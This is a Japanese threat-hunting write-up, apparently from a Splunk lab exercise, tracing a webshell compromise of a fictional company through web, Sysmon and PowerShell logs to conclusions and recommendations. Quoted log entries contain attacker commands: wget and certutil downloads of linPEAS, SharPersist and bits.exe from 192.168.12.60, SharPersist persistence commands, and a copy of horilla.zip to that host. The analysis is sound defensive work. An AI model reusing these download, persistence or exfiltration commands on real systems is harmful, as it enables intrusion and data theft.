



まず始めにIOC情報をもとにInitial Access(WebShell)について調査しました。

index=\* host=WEB01 "whoami"

WebShell (ws.phtml) を通じて whoami コマンドの実行を確認。

uploads → ファイルアップロード機能経由で置かれた可能性が高い。

ここでws.phtmlが最初にアクセスしたファイルと判断しました。

```
6/23/25 192.168.12.60 -- [23/Jun/2025:14:07:11 +0000] "GET /uploads/ws.phtml?cmd=whoami HTTP/1.1" 200 410 "http://192.168.12.3/uploads/ws.phtml" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/10"
10:07:11:000 AM 2.0*
host = WEB01 : source = /var/log/apache2/access.log : sourcetype = access-too_small
```

ここででてきたアクセス元の192.168.12.60について調査しました。

index=\* host=WEB01 "192.168.12.60"

Web サーバ侵害後に、権限昇格調査ツール (linPEAS) を外部からダウンロードしているのを確認しました。

```
6/23/25 11:44:19.354374+00:00 WEB01 sysmon: <Event><System><Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task>
<Opcode></Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime="2025-06-23T15:44:19.354276000Z"/><EventRecordID>10150</EventRecordID><Correlation/><Execution ProcessID="1022619" ThreadID="1022619"><Channel>Linux-Sysmon/Operational</Channel><Computer>WEB01</Computer><Security UserID="0"/><System><EventData><Data Name="RuleName">TechniqueID=T1105,TechniqueName=Ingress Tool Transfer</Data><Data Name="ProcessGuid">{34be4421-7653-6859-49d2-ed0ff5f560000}</Data><Data Name="Image"/><Data Name="OriginalFileName"/><Data Name="CommandLine">wget 192.168.12.60:8000/linpeas.sh</Data><Data Name="CurrentDirectory">/tmp/tmp/systemd-private-b03908975fda7eab334be3e2682e422-apache2.service-x2p0L/tmp</Data><Data Name="User">www-data</Data><Data Name="LogonGuid">SHA256=b8f8a975cf3e7908e076de79814aa448c6886aaacf08165be04ce6565e08e39</Data><Data Name="TerminalSessionId">4294967295</Data><Data Name="IntegrityLevel">no level</Data><Data Name="Hashes">SHA256=f162501708c719c786ddceb78c2cc3b4dc02e3683114da199223c97bd62324</Data><Data Name="ParentProcessGuid">{34be4421-75a4-6859-2dc3-0b0795620000}</Data><Data Name="ParentProcessId">1123233</Data><Data Name="ParentImage">/usr/bin/bash</Data><Data Name="ParentCommandLine">/bin/bash</Data><Data Name="ParentUser">www-data</Data></EventData></Event>
host = WEB01 : source = /var/log/syslog : sourcetype = syslog
```

その後、linpeas.sh に実行権限を付与しているのを確認しました。

```
6/23/25 11:44:30.013006+00:00 WEB01 sysmon: <Event><System><Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task>
<Opcode></Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime="2025-06-23T15:44:34.012140000Z"/><EventRecordID>10153</EventRecordID><Correlation/><Execution ProcessID="1022619" ThreadID="1022619"><Channel>Linux-Sysmon/Operational</Channel><Computer>WEB01</Computer><Security UserID="0"/><System><EventData><Data Name="RuleName">TechniqueID=T1548,.001,TechniqueName=Abuse Elevation Control Mechanism: Setuid and Setgid</Data><Data Name="UtcTime">2025-06-23 15:44:34.017</Data><Data Name="ProcessGuid">{34be4421-7662-6859-d1cf-03ed37620000}</Data><Data Name="Image"/><Data Name="OriginalFileName"/><Data Name="CommandLine">chmod +x linpeas.sh</Data><Data Name="CurrentDirectory">/tmp/tmp/systemd-private-b03908975fda7eab334be3e2682e422-apache2.service-x2p0L/tmp</Data><Data Name="User">www-data</Data><Data Name="LogonGuid">SHA256=f162501708c719c786ddceb78c2cc3b4dc02e3683114da199223c97bd62324</Data><Data Name="ParentProcessGuid">{34be4421-75a4-6859-2dc3-0b0795620000}</Data><Data Name="ParentProcessId">1123233</Data><Data Name="ParentImage">/usr/bin/bash</Data><Data Name="ParentCommandLine">/bin/bash</Data><Data Name="ParentUser">www-data</Data></EventData></Event>
host = WEB01 : source = /var/log/syslog : sourcetype = syslog
```

192.168.12.60についてさらに調査を進めました。

index= 192.168.12.60

Events (36) Patterns Statistics Visualization Format Timeline ▾ Zoom Out ▾ Zoom to Selection Deselect 1 hour per column

Time Event

6/24/25 06/24/2025 05:45:46 PM  
host = HRIS source = WinEventLog:Microsoft-Windows-Sysmon/Operational sourcetype = WinEventLog:Microsoft-Windows-Sysmon/Operational  
... 26 lines omitted ...  
SourcePortName: -  
DestinationIsIPv6: false  
DestinationIP: 192.168.12.60  
DestinationHostname: -  
Show all 33 lines

6/24/25 06/24/2025 05:45:45 PM  
host = HRIS source = WinEventLog:Microsoft-Windows-PowerShell/Operational sourcetype = wineventlog  
... 13 lines omitted ...  
Message=Creating Scriptblock text (1 of 1):  
cp .\horilla.zip \\192.168.12.60\export\horilla.zip  
if (!\$?) { if(\$LASTEXITCODE) { exit \$LASTEXITCODE } else { exit 1 } }  
Show all 20 lines

6/24/25 06/24/2025 05:45:45 PM  
host = HRIS source = WinEventLog:Microsoft-Windows-PowerShell/Operational sourcetype = wineventlog  
port = 22 sshd[12703]: Accepted password for root from 192.168.12.60 port 40160 ssh2

*horilla.zip* の持ち出しを確認しました。

```
6/24/25      06/24/2025 05:45:45 PM
12:45:45.000 PM    ... 13 lines omitted ...
Message=Creating Scriptblock text (1 of 1):
cp .\horilla.zip \\192.168.12.60\export\horilla.zip
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }

Show all 20 lines
host = HRIS | source = WinEventLog:Microsoft-Windows-PowerShell/Operational | sourcetype = wineventlog
```

さらに確認した*horilla.zip*を調査したところ*horilla.zip*をPowerShell の Compress-Archiveコマンドで、

特定のフォルダを ZIP に圧縮して別の場所に保存しているのを発見した。

(c:\windows\tasks\horilla.zip)

index= horilla.zip

```
6/24/25      06/24/2025 05:41:51 PM
12:41:51.000 PM    LogName=Microsoft-Windows-PowerShell/Operational
EventCode=4104
EventType=5
ComputerName=HRIS.quickfile.inc
User=NOT_TRANSLATED
Sid=S-1-5-21-789738489-2286988841-3114446385-500
SidType=0
SourceName=Microsoft-Windows-PowerShell
Type=Verbose
RecordNumber=805
Keywords=None
TaskCategory=Execute a Remote Command
OpCode=On create calls
Message=Creating Scriptblock text (1 of 1):
compress-archive -path "C:\horilla\" - destinationpath "C:\windows\tasks\horilla.zip"
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }

ScriptBlock ID: 9da80513-9b13-4022-8959-f124436c0df1
Path:
```

永続化について調べたところ、登録されたレジストリキー、スケジュールされたタスクなどについて調査を始めました。

index=main sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational"

EventCode=1

Image="C:\Windows\Tasks\\*.exe"

tasksにbits.exeが置かれているのを確認した

i	Time	Event
▼	6/24/25 6:45:59.000 AM	06/24/2025 11:45:59 AM LogName=Microsoft-Windows-Sysmon/Operational EventCode=1 EventType=4 ComputerName=DC01.quickfile.inc Show all 39 lines

Event Actions ▾

Type	Field	Value
Selected	host	DC01
	source	WinEventLog:Microsoft-Windows-Sysmon/Operational
	sourcetype	WinEventLog:Microsoft-Windows-Sysmon/Operational
Event	CommandLine	.net.exe -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c C:\windows\tasks\bits.exe" -f "bits" -m add
	Company	-
	ComputerName	DC01.quickfile.inc
	CurrentDirectory	C:\Windows\Tasks\
	Description	SharPersist
	EventCode	1
	EventType	4
	FileVersion	1.0.1
	Hashes	MD5=E06B24113CAB27FF5A1173FA3F9E1615,SHA256=E9711F47CF9171F79BF34B342279F6FD9275C8AE65F3EB2C6EBB0B8432EA14F8
	Image	C:\Windows\Tasks\net.exe
	IntegrityLevel	System
	Keywords	None
	LogName	Microsoft-Windows-Sysmon/Operational
	LogonGuid	{01fc869-e8dc-6833-e703-000000000000}

さらに新規にbitssを登録されているのを確認した

6/24/25 6:50:16.000 AM	06/24/2025 11:50:16 AM LogName=Microsoft-Windows-Sysmon/Operational EventCode=1 EventType=4 ComputerName=DC01.quickfile.inc User=NOT_TRANSLATED Sid=S-1-5-18 SidType=0 SourceName=Microsoft-Windows-Sysmon Type=Information RecordNumber=134797 Keywords=None TaskCategory=Process Create (rule: ProcessCreate) OpCode=Info Message=Process Create: RuleName: - UtcTime: 2025-06-24 10:50:16.268 ProcessGuid: {01fc869-82e8-685a-d5ad-02000000e00} ProcessId: 1428 Image: C:\Windows\Tasks\net.exe FileVersion: 1.0.1 Description: SharPersist Product: SharPersist Company: - OriginalFileName: SharPersist.exe CommandLine: .\net.exe -t service -c "C:\Windows\System32\cmd.exe" -a "/c C:\windows\tasks\bits.exe" -n "bitss" -m add CurrentDirectory: C:\Windows\Tasks\ User: NT AUTHORITY\SYSTEM LogonGuid: {01fc869-e8dc-6833-e703-000000000000} LogonId: 0x3E7 TerminalSessionId: 0 IntegrityLevel: System Hashes: MD5=E06B24113CAB27FF5A1173FA3F9E1615,SHA256=E9711F47CF9171F79BF34B342279F6FD9275C8AE65F3EB2C6EBB0B8432EA14F8
------------------------	--

ここで確認できたbits.exeについて調査しました。

index=\* "bits.exe"

certutil を悪用して、外部の HTTP サーバ(192.168.12.60)から bits.exe をダウンロードし、一カルに保存しているのを確認。

The screenshot shows a Windows Event Log entry for a file download. The event details are as follows:

Type	Field	Value
Selected	host	DC01
	source	WinEventLog:Microsoft-Windows-Sysmon/Operational
	sourcetype	WinEventLog:Microsoft-Windows-Sysmon/Operational
Event	CommandLine	certutil.exe -urlcache -f http://192.168.12.60:8000/bits.exe bits.exe
	Company	Microsoft Corporation
	ComputerName	DC01.quickfile.inc
	CurrentDirectory	C:\Windows\Tasks\
	Description	CertUtil.exe
	EventCode	1

certutil を悪用して、外部の HTTP サーバ(192.168.12.60)から SharPersist.exe をダウンロード

し、net.exeに保存しているのを確認。

```
6/24/25      06/24/2025 11:37:52 AM
6:37:52.000 AM LogName=Microsoft-Windows-Sysmon/Operational
EventCode=1
EventType=4
ComputerName=DC01.quickfile.inc
User=NOT_TRANSLATED
Sid=S-1-5-18
SidType=0
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=134718
Keywords=None
TaskCategory=Process Create (rule: ProcessCreate)
OpCode=Info
Message=Process Create:
RuleName: -
UtcTime: 2025-06-24 10:37:52.055
ProcessGuid: {01fc869-8000-685a-78ad-02000000e00}
ProcessId: 5904
Image: C:\Windows\SysWOW64\certutil.exe
FileVersion: 10.0.20348.1 (WinBuild.160101.0800)
Description: CertUtil.exe
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: CertUtil.exe
CommandLine: certutil.exe -urlcache -f http://192.168.12.60:8000/SharPersist.exe net.exe
CurrentDirectory: C:\Windows\Tasks\
```

さらに調査を進め、Windows 標準ツールや実行ファイルがHTTP/HTTPS 経由での外部通信・ファイル取得について調査しました。

```
index= EventCode=1 sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational"
(CommandLine="urlcache" OR CommandLine="http" OR CommandLine="https*")
| table _time Image CommandLine Hashes User
```

2025-06-19 12:54:45	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c btool server list httpServerListener: --no-log
2025-06-19 12:54:44	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c btool server list httpServer --no-log
2025-06-19 12:53:44	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c btool server list httpServerListener: --no-log
2025-06-19 12:53:43	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c btool server list httpServer --no-log
2025-06-19 12:52:51	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c btool server list httpServerListener: --no-log
2025-06-19 12:52:51	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c btool server list httpServer --no-log
2025-06-19 13:05:05	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" uninstall "C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\b65812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll" /noroot /LegacyServiceBehavior
2025-06-19 13:01:14	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" uninstall "C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\b65812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll" /noroot /LegacyServiceBehavior
2025-06-24 06:41:32	C:\Windows\SysWOW64\certutil.exe	certutil.exe -urlcache -f http://192.168.12.60:8000/bits.exe bits.exe
2025-06-24 06:37:52	C:\Windows\SysWOW64\certutil.exe	certutil.exe -urlcache -f http://192.168.12.60:8000/SharPersist.exe net.exe

調査の元、IP192.168.12.60を悪意のある目的で使用したと判断しました。

## 結論

今回の脅威ハンティングの結果、Quickfile.inc 環境は APT グループ「NightSpecter」による実侵害を受けていたことが明確に確認されました。

攻撃は WEB01上のファイルアップロード機能を悪用した WebShell (ws.phtml) による初期侵入から始まっています。攻撃者は linPEASを用いた権限昇格調査を行い、侵害後の行動を体系的に展開しました。certutil、bits.exe、PowerShell (Compress-Archive) などの正規ツール (LOLBins) を悪用し、永続化 (bits.exe / bitss タスク登録) 、Active Directory 環境への定着 (SharPersist.exe) 、データ圧縮および流出 (horilla.zip) を実行しています。DC01 / HRISを含む複数システムへの侵害と、192.168.12.60との外部通信およびデータ持ち出しが確認されました。

本インシデントは、短期的な情報窃取と長期的な潜伏を両立させる高度で計画的なAPT攻撃であり、

単一端末の問題ではなく 組織全体のセキュリティ統制に影響する重大インシデントと評価されます。

## 推奨事項

Webアプリケーションのファイルアップロード制御（拡張子・MIME・実行権限）

サーバへの EDR 導入または強化

外部通信制御（Egress Filtering）の実装

不要な外部 HTTP 通信を原則遮断

認証情報・AD対策として

侵害期間中に使用された可能性のある全アカウントのパスワードリセット

DC上での不正ツール配置・サービス作成・タスク登録の再点検

権限過剰なアカウント、特に サービスアカウントの権限見直し